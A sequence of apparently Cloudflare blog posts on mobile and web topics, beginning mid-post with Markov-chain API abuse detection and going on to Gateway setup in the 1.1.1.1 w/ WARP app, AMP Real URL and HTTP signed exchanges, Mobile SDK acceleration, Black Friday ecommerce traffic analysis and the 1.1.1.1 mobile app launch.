The end result? We can conceptually piece together the movement on a site, which might consist of the following steps:

1. A request is sent to /login/*/enter

2. It is redirected to /login/*/verify

3. It is finally redirected to /login-successful

This looks like a valid user attempting to log in. Again, we use unsupervised learning to detect flows like this one, but our approach detects outliers as well. In this case, we have found that 1 → 2 → 3 is a logical flow, but what if someone arrives directly at step 3? We might flag this request as anomalous.

This approach, which relies heavily on Markov Chains, is quite efficient. Consider adding a single node to the chain: obviously, the chain itself scales linearly. The transition matrix, which maps out all possible node relationships, scales exponentially. But we’ve found that most of these relationships are not exercised. In practice, no one pursues convoluted paths like logout → upload → auth. The more common transitions, which may look like login → update-score → logout, only made up 2% of all transitions in our tests. We can efficiently store the matrix by ignoring unused transitions.

That wraps up our overview of sequential anomaly detection. It’s the last layer in our Swiss Cheese Model, and just like the volumetric approach, it utilizes a baseline that we update over time.

API Abuse Detection is remarkably versatile. Although we created this technology for general API use, there are a few use cases worth highlighting.

The first is Bot Management for mobile apps. While our Bot Management solution has worked well for many apps, API Abuse Detection is significantly more effective. That’s because mobile devices often rely on APIs. While their requests follow the slow, deliberate pace of a human user, mobile apps consume API endpoints and may appear automated. These apps do not offer the same navigational freedom that websites do. But we can use this to our advantage: legitimate users follow predictable sequences based on prior states, which we are now able to validate with API Abuse Detection.

Other companies have developed mobile SDKs to approach API abuse. But SDKs are bulky, difficult to integrate, and sometimes ineffective. This client-side approach is also vulnerable to tampering. It performs authentication of the client software, but is not capable of detecting any actual abusive behavior. Anyone who can extract the client-side certificate can immediately bypass bot protections. We believe we can secure mobile apps without any sort of SDK — simply by deploying API Abuse Detection on mobile endpoints.

Additionally, many API endpoints are crowded. Not everyone can identify their “good” API/bot traffic, which means that a positive security model may not work. This is especially true of companies that work with partners who rotate user agents or can’t align their signals. Our approach avoids this headache entirely. We automatically build a map of API endpoints, develop baselines, and detect abuse.

Do you have a site that needs API Abuse Detection? Do you want to try the next generation of Bot Management for your mobile app? Please let us know by contacting your account team. We’re excited to bring these models to life in the coming months.

The 1.1.1.1 w/ WARP app has secured millions of mobile Internet connections. When installed, 1.1.1.1 w/ WARP encrypts the traffic leaving your device, giving you a more private browsing experience.

You can get even more out of your 1.1.1.1 w/ WARP. By adding Cloudflare Gateway’s secure DNS filtering to the app, you can add a layer of security and block malicious domains flagged as phishing, command and control, or spam. This protection isn’t dependent on what network you’re connected to - it follows you everywhere you go.

The feature is rolling out to both the iOS and Android clients this week. You do not need to install a different app; as the release is available, you will be able to upgrade your version and follow the steps below for a safer Internet on any network.

If you don’t have the latest version of the 1.1.1.1 w/ WARP app go to the Apple App Store or Google Play Store to download the latest version.

Sign up for Cloudflare Gateway by visiting the Cloudflare for Teams dashboard. You can use Cloudflare Gateway for free, all you need is a Cloudflare account to get started.

On your Cloudflare Gateway dashboard go to ‘Locations’.

Click on the location listed on the locations page to expand the location item.

Copy the unique 10 character subdomain from the DNS over HTTPS endpoint. This unique ID is case sensitive. Either note it down on a paper or keep this window open on your computer because you will need it when you setup Gateway inside your 1.1.1.1 w/ WARP app.

After you open the 1.1.1.1 w/ WARP app, click on the menu button on the top right corner:

Click on 'Advanced' which is located under the 'Account' button.

Click on 'Connection options' which is located at the bottom of the screen right above 'Diagnostics'.

Click on 'DNS Settings'. This will take you to the screen where you can configure Gateway for your 1.1.1.1 mobile app.

When you are on this screen on your phone, you will need to enter the unique subdomain of the location you created for your mobile phone. This is the unique ID I asked you to note down in the previous section.

Enter the subdomain inside the field GATEWAY UNIQUE ID.

If 1.1.1.1 DNS, WARP or WARP+ was already enabled, the 1.1.1.1 w/ WARP app should be using Gateway.

If you are using Android you can read about the setup instructions here.

If you are trying to enable Gateway for your corporate mobile devices using an MDM, you can read the setup instructions here.

Now that you have Gateway setup inside your 1.1.1.1 w/ WARP app, it will enforce security policies that are tied to the location and analytics will show up on your dashboard.

We announced last week the 1.1.1.1 w/ WARP beta for Windows and macOS. If you are interested in using Cloudflare Gateway on macOS or Windows you can sign up for the beta here and we will reach out to you as soon as they are available.

Our team will continue to enhance Cloudflare Gateway. If you want to secure corporate devices, data centers or offices from security threats, get started today by visiting the Cloudflare for Teams dashboard.

The promise of the AMP (Accelerated Mobile Pages) project was that it would make the web, and, in particular, the mobile web, much more pleasant to surf. The AMP HTML framework was designed to make web pages load quickly, and not distract the user with extraneous content that took them away from focusing on the web page’s content.

It was particularly aimed at publishers (such as news organizations) that wanted to provide the best, fastest web experience for readers catching up on news stories and in depth articles while on the move. It later became valuable for any site which values their mobile performance including e-commerce stores, job boards, and media sites.

As well as the AMP HTML framework, AMP also made use of caches that store copies of AMP content close to end users so that they load as quickly as possible. Although this cache make loading web pages much, much faster they introduce a problem: An AMP page served from Google’s cache has a URL starting with https://google.com/amp/. This can be incredibly confusing for end users.

Users have become used to looking at the navigation bar in a web browser to see what web site they are visiting. The AMP cache breaks that experience. For example, here’s a news story from the BBC website viewed through Google’s AMP cache:

Notice how the browser says the page is from google.com. That’s because of the AMP cache. This made the page load very quickly, but can be confusing. To help “fix” that problem Google shows that actual site at the top of the AMP page. There you can see that it was bbc.co.uk. Clicking on bbc.co.uk brings you to the same page served by the BBC’s web servers with bbc.co.uk in the web browser’s navigation bar:

But the problems with the AMP cache approach are deeper than just some confusion on the part of the user. By serving the page from Google’s cache there’s no way for the reader to check the authenticity of the page; when it’s served directly from, say, the BBC the user has the assurance of the domain name, a green lock indicating that the SSL certificate is valid and can even click on the lock to get details of the certificate.

Last November we announced a technical solution to these problems that would allow AMP pages to be served from a cache while retaining the original page URL and all its benefits. The in depth technical blog post by Gabbi Fisher and Avery Harnish gives the full details. The solution makes use of Web Packaging (which incorporates some clever use of cryptography) to allow the cache (run by Google, Cloudflare or others) to keep a copy of an AMP page and serve it quickly to the end user, but to also contain cryptographic proof of where the page originally came from.

In cooperation with a browser that understands Web Packaging this means that a page can be stored in an AMP cache and served quickly from it while showing the original site URL in the browser’s navigation bar. A major win all round!

We’re calling this “AMP Real URL” and it’s free to all of our customers starting today.

Google’s AMP Crawler downloads the content of your website and stores it in the AMP Cache many times a day. If your site has AMP Real URL enabled Cloudflare will digitally sign the content we provide to that crawler, cryptographically proving it was generated by you. That signature is all a modern browser (currently just Chrome on Android) needs to show the correct URL in the address bar when a visitor arrives to your AMP content from Google’s search results.

Gone is the hated grey bar, all your visitors see is your proper URL:

Importantly your site is still being served from Google’s AMP cache just as before; all of this comes without any cost to your SEO or web performance.

Since our original announcement we’ve had a chance to engage with dozens of members of the publishing and e-commerce community and would like to share what we’ve learned.

The Google-initiated AMP Project drives a huge percentage of mobile traffic and has greatly improved the experience of browsing the Internet on a phone. Many of the sites we have spoken to get as much as 50% of their web traffic through AMP, and the speed benefit it provides directly translates to better conversion rates.

AMP Real URL provides some serious benefits to sites which use AMP:

• Brand Protection: Web users have been trained that the URL in the address bar has significance. Having google.com at the top of a page of content hurts the publisher’s ability to maintain a unique presence on the Internet.

• Easier Analytics: AMP Real URL greatly simplifies web analytics for its users by allowing all visitors, AMP or otherwise, to coexist on the same tracking domain.

• Increased Screen Space: Historically when AMP was used room would be taken for a “grey bar” at the top of your site to show the real URL. With AMP Real URL that’s simply not necessary.

• Reduced Bounce Rate: We believe website visitors are less likely to bounce back to Google or another site when the publisher’s actual domain is in the address bar, but we will gather more data about this as AMP Real URL is rolled out.

• Content Signing: By relying on cryptographic techniques, AMP Real URL ensures that the content delivered to visitors has not been manipulated protecting the sites and brands it is used on. It’s now not possible for any external party to add, remove, or modify the content of a site.

We also spoke to Internet users of AMP, and there certainly are frustrations. There are some users who struggle with its complexity, or sites simply fail to load for them. Others are annoyed and confused with the “grey bar” at the top of the page and the gymnastics it requires to get a page’s original URL. Finally, there are folks who would like to ensure that Google is not modifying the content of pages as they travel through the AMP cache.

AMP Real URL happily fixes all of these issues. It ensures that sites are cryptographically signed which protects them from being modified by Google or anyone else, even when physically delivered from a domain you do not control. If the site is changed in any way the browser ensures the site’s real URL will no longer appear. It also greatly simplifies AMP, fixing many of the reliability issues people experience: AMP Real URL-powered links aren’t opened using the complex iframe mechanics used by AMP traditionally, instead they are loaded as any other website (Google uses rel=”prefetch” to get much of the same performance benefit). Finally, the “grey bar” is unnecessary, as the correct URL is right in the address bar at the top of the page, and copying the URL of a site to save or share works just as it does for non-AMP websites.

We are also taking this opportunity to sunset the other AMP products and experiments we have built over the years like Ampersand and Firebolt. Those products were innovative but we have learned that publishers value AMP products which pair well with Google’s search results, not which live outside it. Users of those older products were informed several weeks ago that they will be gradually shut down to focus our attention on AMP Real URL.

Google is rolling out support for AMP Real URL (referred to as Signed Exchanges outside Cloudflare) today, beginning with the primary Google search results. Over time, the hope is they will expand it to other areas of the search results page including the “Top Stories” news area at the top of the page. This makes AMP Real URL most valuable today for sites which get most of their AMP traffic from the primary search results like e-commerce, job boards, and ad-supported sites. News publishers can and should enable AMP Real URL, but the benefit they experience now will be from search results which live outside the “Top Stories” box. AMP Real URL is only supported in the Chrome browser at this time, but we are optimistic it will be supported more widely as its benefit to Internet users becomes clear.

After speaking with publishers and with Internet users, we have decided not to charge for AMP Real URL. This is not because our customers haven’t been excited or willing to pay for it, AMP makes up a huge component of many site’s traffic. Our motivation is the same as for offering CDN or SSL services to millions of customers free of charge, we are here to help build a better Internet and improving AMP is a huge step in that direction. We believe AMP Real URL is a technology which will fundamentally change the mobile web for the better and should be adopted by every AMP-supporting site. We do have another motive: we are hoping that this will motivate potential customers who value AMP to choose Cloudflare.

Beginning today you will find a new section on the Speed tab of your Cloudflare dashboard:

We will be rolling out support for AMP Real URL in stages over the next few weeks. Enable it now and we will notify you when it is activated on your domain. If you are an interested enterprise customer please reach out so we can expedite your activation.

We'll leave you with some perspectives from the early users of AMP Real URL:

"The performance benefits of AMP deliver value to our business and we are excited to see how AMP Real URL is able to take that even further"

— Solomon Moskalenko, Director of Interactive, US Xpress Trucking, The Johnson Group

"AMP is a crucial part of helping our business to grow and reach consumers everywhere. With AMP Real URL, we now have more control over our brand and can run analytics on our business site."

— Sumantro Da, Sr Director, Product Innovations & Growth Brands GM, 1-800-FLOWERS.COM

“AMP has played a key role in helping us to more effectively reach our audience and develop our online community, we’re keen to use AMP Real URL to better manage our online presence and keep our users engaged on the site.”

— Andrew Warner, CTO of Genius

A year ago, we launched Cloudflare Mobile SDK with a set of free features focused on measuring mobile app networking performance. Apps are dependent on network connectivity to deliver their app’s user experiences, but developers have limited visibility into how network connectivity is impacting app performance. Integrating the Mobile SDK allows developers to measure and improve the speed of their app’s network interactions.

Mobile applications interact with the Internet to do everything — to fetch the weather, your email, to step through a checkout flow. Everything that makes a smartphone magical is powered by a service on the Internet. How quickly those network interactions happen is dictated by two things: how large the payloads are for the given request/response, and what the available link bandwidth is.

Payload size is mostly application specific: a shopping app is going to request product images and similar medium sized assets, while a stock quotes app could be expected to have smaller payloads in the API responses powering it.

Available link bandwidth is usually dictated by your network provider. Everyone familiar with the feeling of trying to check out in an e-commerce app and being stymied by poor cell connectivity. But network quality is not the only thing that impacts available bandwidth; the transport protocol (at Layer 4, in OSI-model-speak) in use also has a huge impact on how quickly your phone can pull content off the Internet.

TCP is the dominant transport protocol for most applications you know and love. It’s over 40 years old, and impressive in both its simplicity and longevity (they are likely related). TCP relies on congestion control algorithms to understand how quickly to send traffic over a connection without congesting the link (filling the pipe to the point things start getting backed up).

Congestion is something to be avoided. TCP guarantees reliable delivery, and cleaning up from a congestion event often involves additional round trips and retransmits. TCP implementations are often conservative in two important dimensions: how much data they choose to send on connection establishment (called the initcwnd, or initial congestion window), and what to do when the sender senses packet loss (congestion avoidance).

Source: https://commons.wikimedia.org/wiki/File:TCP_Slow-Start_and_Congestion_Avoidance.svg

An example of the data rate on a connection over time. Congestion avoidance is illustrated in pink.

How TCP opens connections and how it responds to packet loss are critical factors in determining how much data actually gets to flow over the connection. Tuning TCP connection parameters allows more data to flow over the link without actually touching the actual physical layer (i.e. boosting your cell signal).

Unfortunately, TCP parameters governing a connection’s data rate are hidden in the kernel, out of reach of user space and the optimizing, enterprising app developer. Cloudflare Mobile SDK aims to solve this problem by shipping a replacement transport protocol implemented on top of UDP, which the SDK can speak with the Cloudflare edge.

There are three advantages to replacing TCP with a custom UDP transport protocol:

1. Performance tuning, bug fixes, and incremental updates to the protocol itself can be done without any downtime or coordination with the kernel. This is not the case with TCP.

2. Middle-boxes' (eg. corporate proxies, etc) assumptions on how TCP works have made improving TCP very difficult. UDP based protocols don't suffer from the same middle-box ossification.

3. Having tight control and coordination between the send-side Cloudflare edge and receive-side Mobile SDK makes optimizing individual connections possible, even over very dissimilar mobile netwoks.

All of these factors lead directly to reduced latency, increased throughput, and improved user experiences.

Once an app is integrated with the SDK, enabling Acceleration is straightforward. Most standard HTTP networking libraries are supported out of the box, and require no additional integration work beyond initializing the SDK with your API key.

Customers accelerating their traffic with Cloudflare Mobile SDK see significant reductions in latency, increases in throughput, and reductions in TCP related timeouts.

As an example, a transportation company enabled acceleration in their iOS app. Their users immediately saw a 7% decrease in network response time and a 13.8% drop in network timeouts. This directly translates to an increase in conversions: purchases per user increased 3% with Acceleration enabled.

We’re excited to bring Acceleration to a broader audience. Get in touch with us for early access. Mobile SDK supports both iOS and Android.

In addition to developing features to improve app performance, we’re working hard on features to better authenticate mobile devices with the APIs that power them. Why is this important? Non-humans (bots) are increasingly interacting with the APIs that power apps to scrape data, stuff credentials, and otherwise act in ways humans would not.

The Mobile SDK will soon include features to help API owners understand whether or not the user purporting to be using an app actually is a real mobile user. We’ll have a lot more detail on this soon; if you’re interested in hearing more sooner, please get in touch!

Black Friday by Per-Olof Forsberg, license: CC BY 2.0

To try and answer this question, we took a look at anonymised samples of HTTP requests crossing our network. First of all, let’s look at total page views from across our global network from the last few weeks and see if we can spot Black Friday and Cyber Monday:

All page views

So this is total page views by day (UTC) from November 19 (a week before Cyber Monday) until Monday December 3. Other than follow-the-sun fluctuations in a repeating daily pattern, each whole day is pretty similar in shape and size compared to the last. Black Friday and Cyber Monday aren’t visible in overall traffic patterns.

We have a very diverse set of customers across 12 million domain names and not all of them are selling products or doing so directly online. To identify those websites that are, I used metadata from the wonderful HTTP Archive project to export a list of domains using Cloudflare that were also running ecommerce software.

Here are the page views for these ecommerce sites over the same time period:

Ecommerce page views

So we can see clearly that our ecommerce customers are seeing a big increase in page views on November 23 and 26. Black Friday and Cyber Monday are most certainly a thing. This year Black Friday was quite a bit busier than Cyber Monday - around 22% busier in terms of page views. If we compare the page views of each day to the week prior, we can see the changes clearly:

% page view change vs previous week

The uplift starts on Wednesday but really kicks in during Thanksgiving with an increase of more than 100% on Black Friday.

So we’ve established that these shopping days are important in terms of visitor activity. More pages are being viewed on these days - but is anyone buying anything?

We’re dealing with trillions of requests across a really large data set of different websites without any specific knowledge of what a purchase transaction would look like for each - so to approximate this I took a crude approach, which is to look for successful checkout interactions in the data. If you imagine a typical ecommerce application makes a purchase with a HTTP request like “POST /store/checkout HTTP/1.1” we can look for requests similar to this to understand the activity.

% of checkout interactions vs prior week

We can see here that Black Friday has an almost 200% increase in checkout interactions compared to the previous Friday.

Using this raw number of checkout interactions to compare with the page views we have something approximating a conversion %. This is not a true conversion figure - calculating a true conversion figure would require data that identifies individuals and detailed action tracking for each website. What we have is the total number of page views (HTTP requests that return HTML successfully) compared to the total number of POST requests to a checkout. This gives us a baseline to compare changes in “conversion” over these big November shopping days:

% of checkout interactions / page views vs prior week

Each bar on this chart represents the % change in checkout interactions as a proportion of page views compared to the same day the previous week. We can see this increased by 45% on Black Friday compared to the Friday before (boring old beige Friday November 16). The following Saturday was booming at 60% - because we’re dealing with time in UTC, a UTC Saturday actually includes Black Friday traffic for some parts of the world, the same can be said of Tuesday which contains overlap from Cyber Monday - we’ll break this down a bit later.

On Cyber Monday, the increase actually beats Black Friday, meaning page views lead to cart interactions 57% more often than the prior Monday (boring old vanilla Monday November 19), albeit from a lower number of transactions.

What we see here is just how much more browsing people do on mobiles today vs desktop, with mobile winning most days:

Page Views by Device Type

When it comes to checkout interactions though, we can see the situation is switched with visitors more likely to interact with the checkout on a desktop overall, but even more so on Black Friday (14% more likely) and Cyber Monday (20% more likely).

Checkout Interaction as % of Page Views

Let’s look at a specific region to understand more, starting with the US:

USA Page Views (PST)

We can see a more normal weekday pattern on the prior Thursday & Friday (15 & 16 Nov) whereby desktop page views eclipse mobile during the daytime while people are at their desks. In the evenings and weekends, mobile takes over. What we see from the 21st onward is evidence of people taking time off work and doing more with their mobile devices. Even on Thanksgiving, there is still a big rise in activity as people start gearing up for Friday’s deals or finding ways to avoid political discussion with relatives at home!

On Cyber Monday, traffic earlier in the day is lower as people return to work, however we are seeing heavy use of desktop devices. As the working day ends, mobile once again dominates. Things begin to settle back into a more regular pattern from Tuesday November 27 onwards.

Let's take a look at checkout interaction over the Black Friday to Cyber Monday weekend by device type.

USA Checkout Interaction % (PST)

Despite all of that mobile browsing activity, desktop devices are more commonly used for checkout actions. People seem to browse more on mobile, committing to buy more often with desktop, it may also just be that mobile users have more distractions both on the device and in the real world and are therefore less likely to complete a purchase. From personal experience, I also think the poor mobile optimisation of some sites’ checkout flows make desktop preferrable - and when customers are incentivised with discounts & deals, they are more likely to switch devices to complete a transaction if they hit an issue.

It might be obvious if you’re reading this from the UK, but despite the fact that Thanksgiving is not a holiday here, retailers have very much picked up the mantle from US retailers and seized the opportunity to drive sales over this weekend.

UK Page Views (UTC)

Page views to ecommerce websites on Cloudflare look very similar in shape to the US on Black Friday. However, mobile is more dominant in the UK, even during working hours. It’s worth noting one big difference here - Cyber Monday in the UK was only 22% up in terms of page views compared to the prior Monday - in the US the increase was more than 4x that.

UK Checkout Interaction as % of Page Views

When it comes to checkout, it also looks like UK visitors to ecommerce sites commit more with their mobile, but desktop is still more likely to lead to more conversion.

Taking Germany as another example, here’s how page views look:

Germany Page Views (CET)

Desktop use during typical working hours is much more pronounced in Germany. Black Friday and Cyber Monday show higher page views than a normal Friday / Monday but the difference is much smaller than regions such as the US & UK.

Black Friday is spreading internationally despite these still being normal working days for the rest of the world. Cyber Monday is also increasing ecommerce activity internationally but tends to be quieter than Black Friday. Overall, mobile browsing eclipses desktop, but those desktop page views tend to lead to checkout more often.

Retailers should continue to invest in making their mobile & desktop ecommerce experiences fast & resilient to seize on these key days.

Today, we’re excited to announce our solution for arguably the biggest issue affecting Accelerated Mobile Pages (AMP): the inability to use real origin URLs when serving AMP-cached content. To allow AMP caches to serve content under its origin URL, we implemented HTTP signed exchanges, which extend authenticity and integrity to content cached and served on behalf of a publisher. This logic lives on Cloudflare Workers, meaning that adding HTTP signed exchanges to your content is just a simple Workers application away. Publishers on Cloudflare can now take advantage of AMP performance and have AMP caches serve content with their origin URLs. We're thrilled to use Workers as a core component of this solution.

HTTP signed exchanges are a crucial component of the emerging Web Packaging standard, a set of protocols used to package websites for distribution through optimized delivery systems like Google AMP. This announcement comes just in time for Chrome Dev Summit 2018, where our colleague Rustam Lalkaka spoke about our efforts to advance the Web Packaging standard.

You may already see the need for Web Packaging on a daily basis. On your smartphone, perhaps you’ve searched for Christmas greens, visited 1-800-Flowers directly from Google, and have been surprised to see content served under the URL https://google.com/amp/1800flowers.com/blog/flower-facts/types-of-christmas-greens/amp. This is an instance of AMP in action, where Google serves cached content so your desired web page loads faster.

Visiting 1-800 Flowers through AMP without HTTP signed exchange

Google cannot serve cached content under publisher URLs for clear security reasons. To securely present content from a URL, a TLS certificate for its domain is required. Google cannot provide 1-800-Flowers’ certificate on the vendor’s behalf, because it does not have the corresponding private key. Additionally, Google cannot, and should not be able to, sign content using the private key that corresponds to 1-800-Flowers’ certificate.

The inability to use original content URLs with AMP posed some serious issues. First, the google.com/amp URL prefix can strip URLs of their meaning. To the frustration of publishers, their content is no longer directly attributed to them by a URL (let alone a certificate). The publisher can no longer prove the integrity and authenticity of content served on their behalf.

Second, for web browsers the lack of a publisher’s URL can call the integrity and authenticity of a cached webpage into question. Namely, there’s no clear way to prove that this response is a cached version of an actual page published by 1-800-Flowers. Additionally, cookies are managed by third-party providers like Google instead of the publisher.

Enter Web Packaging, a collection of specifications for “packaging” website content with information like certificates and their validity. The HTTP signed exchanges specification allows third-party caches to cache and service HTTPS requests with proof of integrity and authenticity.

In the pre-AMP days, people expected to find a webpage’s content at one definitive URL. The publisher, who owns the domain of the definitive URL, would present a visitor with a certificate that corresponds to this domain and contains a public key.

The publisher would use the corresponding private key to sign a cryptographic handshake, which is used to derive shared symmetric keys that are used to encrypt the content and protect its integrity.

The visitor would then receive content encrypted and signed by the shared key.

The visitor’s browser then uses the shared key to verify the response’s signature and, in turn, the authenticity and integrity of the content received.

With services like AMP, however, online content may correspond to more than one URL. This introduces a problem: while only one domain actually corresponds to the webpage’s publisher, multiple domains can be responsible for serving a webpage. If a publisher allows AMP services to cache and serve their webpages, they must be able to sign their content even when AMP caches serve it for them. Only then can AMP-cached content prove its legitimacy.

HTTP signed exchanges directly address the problem of extending publisher signatures to services like AMP. This IETF draft specifies how publishers may sign an HTTP request/response pair (an exchange). With a signed exchange, the publisher can assure the integrity and authenticity of a response to a specific request even before the client makes the request. Given a signed exchange, the publisher authorizes intermediates (like Google’s AMP Cache) to forward the exchanges; the intermediate responds to a given request with the corresponding response in the signed HTTP request/response pair. A browser can then verify the exchange signature to assert the intermediate response’s integrity and authenticity.

This is like handing out an answer key to a quiz signed by the instructor. Having a signed answer sheet is just as good as getting the answer from the teacher in real time.

An HTTP signed exchange is generated by the following steps.First, the publisher uses MICE (Merkle Integrity Content Encoding) to provide a concise proof of integrity for the response included in the exchange. To start, the response is split into blocks of some record size bits long. Take, for example, a message ABCD, which is divided into record-size blocks A, B, C, and D. The first step to constructing a proof of integrity is to take the last block, D, and compute the following:

proof(D) = SHA-256(D || 0x0)

This produces proof(D). Then, all consequent proof values for blocks are computed as follows:

proof(C) = SHA-256(C || proof(D) || 0x1)
proof(B) = SHA-256(B || proof(C) || 0x1)
proof(A) = SHA-256(A || proof(B) || 0x1)

The generation of these proofs build the following tree:

      proof(A)
         /\
        /  \
       /    \
      A    proof(B)
            /\
           /  \
          /    \
         B    proof(C)
                /\
               /  \
              /    \
             C    proof(D)
                    |
                    |
                    D

As such, proof(A) is a 256-bit digest that a person who receives the real response should be able to recompute for themselves. If a recipient can recompute a tree head value identical to proof(A), they can verify the integrity of the response they received. In fact, this digest plays a similar role to the tree head of a Merkle Tree, which is recomputed and compared to the presented tree head to verify the membership of a particular node. The MICE-generated digest is stored in the Digest header of the response.

Next, the publisher serializes the headers and payloads of a request/response pair into CBOR (Concise Binary Object Representation). CBOR’s key-value storage is structurally similar to JSON, but creates smaller message sizes.

Finally, the publisher signs the CBOR-encoded request/response pair using the private key associated with the publisher’s certificate. This becomes the value of the sig parameter in the HTTP signed exchange.

The final HTTP signed exchange appears like the following:

sig=*MEUCIQDXlI2gN3RNBlgFiuRNFpZXcDIaUpX6HIEwcZEc0cZYLAIga9DsVOMM+g5YpwEBdGW3sS+bvnmAJJiSMwhuBdqp5UY=*;  
integrity="digest/mi-sha256";  
validity-url="https://example.com/resource.validity.1511128380";  
cert-url="https://example.com/oldcerts";  
cert-sha256=*W7uB969dFW3Mb5ZefPS9Tq5ZbH5iSmOILpjv2qEArmI=*;  
date=1511128380; expires=1511733180

Services like AMP can send signed exchanges by using a new HTTP response format that includes the signature above in addition to the original response.

When this signature is included in an AMP-cached response, a browser can verify the legitimacy of this response. First, the browser confirms that the certificate provided in cert-url corresponds to the request’s domain and is still valid. It next uses the certificate’s public key, as well as the headers and body values of request/response pair, to check the authenticity of the signature, sig. The browser then checks the integrity of the response using the given integrity algorithm, digest/mi-sha256 (aka MICE), and the contents of the Digest header. Now the browser can confirm that a response provided by a third party has the integrity and authenticity of the content’s original publisher.

After all this behind-the-scenes work, the browser can now present the original URL of the content instead of one prefixed by google.com/amp. Yippee to solving one of AMP’s most substantial pain points!

From the overview above, the process of generating an HTTP signed exchange is clearly involved. What if there were a way to automate the generation of HTTP signed exchanges and have services like AMP automatically pick them up? With Cloudflare Workers… we found a way you could have your HTTP origin exchange cake and eat it too!

We have already implemented HTTP signed exchanges for one of our customers, 1-800-Flowers. Code deployed in a Cloudflare Worker is responsible for fetching and generating information necessary to create this HTTP signed exchange.

This Worker works with Google AMP’s automatic caching. When Google’s search crawler crawls a site, it will ask for a signed exchange from the same URL if it initially responds with Vary: AMP-Cache-Transform. Our HTTP signed exchange Worker checks if we can generate a signed exchange and if the current document is valid AMP. If it is, that Vary header is returned. After Google’s crawler sees this Vary header in the response, it will send another request with the following two headers:

AMP-Cache-Transform: google
Accept: application/signed-exchange;v=b2

When our implementation sees these header values, it will attempt to generate and return an HTTP response with Content-Type: application/signed-exchange;v=b2.

Now that Google has cached this page with the signed exchange produced by our Worker, the requested page will appear with the publisher’s URL instead of Google’s AMP Cache URL. Success!

If you’d like to see HTTP signed exchanges in action on 1-800-Flowers, follow these steps:

1. Install/open Chrome Beta for Android. (It should be version 71+).

2. Go to goo.gl/webpackagedemo.

3. Search for “Christmas greens.”

4. Click on the 1-800-Flowers link -- it should be about 3 spots down with the AMP icon next to it. Along the way to getting there you should see a blue box that says "Results with the AMP icon use web packaging technology." If you see a different message, double check that you are using the correct Chrome Beta.An example of AMP in action for 1-800-Flowers:

Visiting 1-800 Flowers through AMP with HTTP signed exchange

Phew. There’s clearly a lot of infrastructure for publishers to build for distributing AMP content. Thankfully Cloudflare has one of the largest networks in the world, and we now have the ability to execute JavaScript at the edge with Cloudflare Workers. We have developed a prototype Worker that generates these exchanges, on the fly, for any domain. If you’d like to start experimenting with signed exchanges, we’d love to talk!

Soon, we will release this as a Cloudflare Worker application to our AMP customers. We’re excited to bring a better AMP experience to internet users and advance the Web Packaging standard. Stay tuned!

Web Packaging is not simply a technology that helps fix the URL for AMP pages, it’s a fundamental shift in the way that publishing works online. For the entire history of the web up until this point, publishers have relied on transport layer security (TLS) to ensure that the content that they send to readers is authentic. TLS is great for protecting communication from attackers but it does not provide any public verifiability. This means that if a website serves a specific piece of content to a specific user, that user has no way of proving that to the outside world. This is problematic when it comes to efforts to archive the web.

Services like the Internet Archive crawl websites and keep a copy of what the website returns, but who’s to say they haven’t modified it? And who’s to say that the site didn’t serve a different version of the site to the crawler than it did to a set of readers? Web Packaging fixes this issue by allowing sites to digitally sign the actual content, not just the cryptographic keys used to transport data. This subtle change enables a profoundly new ability that we never knew we needed: the ability to record and archive content on the Internet in a trustworthy way. This ability is something that is lacking in the field of online publishing. If Web Packaging takes off as a general technology, it could be the first step in creating a trusted digital record for future generations to look back on.

Excited about the future of Web Packaging and AMP? Check out Cloudflare Ampersand to see how we're implementing this future.

On April 1st, 2018, we announced 1.1.1.1, the fastest public DNS resolver in the world ???. Today, we are launching the 1.1.1.1 mobile app to make it incredibly easy to use 1.1.1.1 on your phone.

Any time you are on a public internet connection people can see what sites you visit. Even worse, your Internet Service Provider is very possibly selling all of your browsing history to the highest bidder. We have a tool called 1.1.1.1 which makes it easy to get a faster, more private, Internet experience, but it’s historically been too complex for many people to use, particularly on mobile devices. Today, we’re launching an app you (and everyone you know) can use to use 1.1.1.1 every time your mobile phone connects to the Internet. It’s a free, it’s easy, download it now.

DNSPerf data

We launched 1.1.1.1 on April 1st. Frankly, we’ve been blown away by how many people actually made the switch. Changing your network settings is not easy, but if our traffic amount is any indication, many of you made the effort. Thank you!

That said, even more people are not able to make those changes, particularly on mobile devices. We want everyone to have access to faster and more private Internet, and the millions of sites on Cloudflare value the performance boost they get when visited by 1.1.1.1 users.

A month ago, we announced the public beta of a new, easier, way to install 1.1.1.1, a mobile app.

We learned a lesson it seems we discover again with every product we launch: our beta customers are incredible! They discovered bugs and configuration issues, not just with the app but also with mobile carriers.

Particularly given its role as the first app we will release on any mobile app store, we were energized (and shocked) by the excitement we received. We saw what we always hoped for, a faster Internet, all around the world:

Damn @Cloudflare your 1.1.1.1 app is incredible. Things that normally takes 5 to 7 seconds to load in Vietnam are taking 3.

— Chris Walton (@ChrisWalton10) November 1, 2018

Our heartfelt thanks to every user who showed us ❤️and helped us make 1.1.1.1 available to the world.

The 1.1.1.1. app makes your Internet faster and more private. It is darn easy to set up. And, the best part: it’s free!

It is the right thing to do. We are making it easier for everyone to make their experience when they use the Internet more private. People should not have to pay to have a more private Internet.

Beyond that, millions of websites rely on Cloudflare for performance and security. By getting more users on 1.1.1.1, we make those sites faster. That makes Cloudflare better, and it makes the Internet better, a win-win.

Download today to have a safer and faster Internet ✌️✌️.

If your app loads critical resources over the network, it's relying on your user's mobile network connection to deliver an engaging experience. Network errors occur in 3 to 12% of app sessions depending on infrastructure reliability and user geography.

How much engagement are you losing in your app to network errors? Chances are, you don't know.

We didn't either, until we built a free tool that helps Android and iOS developers visualize and understand their mobile app's network utilization.

Our SDK helps you identify slowdowns caused by balky or too frequent network calls, so you can focus your development effort on optimizing the lowest-hanging fruit.

Modern app developers already heavily instrument their apps to identify UX impacting events: they measure and collect launch time, session length, crash rates, conversion events, and lots more, using a multitude of different metrics packages and services.

Web developers look at similar data. They also pay tons of attention to their resource waterfall, mapping their critical rendering path, and understanding which resource loads are synchronous, which are not, and which block rendering. JavaScript even exposes an API to collect waterfalls in the browser programmatically.

It's time to bring the same visibility to your app's network waterfall.

Using Cloudflare Mobile SDK, you can identify top N requests, slow requests, and requests most likely to fail. You can also inspect all the third party calls your app is making through included libraries. Always suspected that ad network you're calling out to is crippling your app's performance? Now you know.

Our aim is to make this data as useful as possible. We know you're already looking at engagement data in tools like Mixpanel, Amplitude, and Heap. To this end, we're making it as easy as possible to correlate network experience data with the event and engagement data you're already tracking.

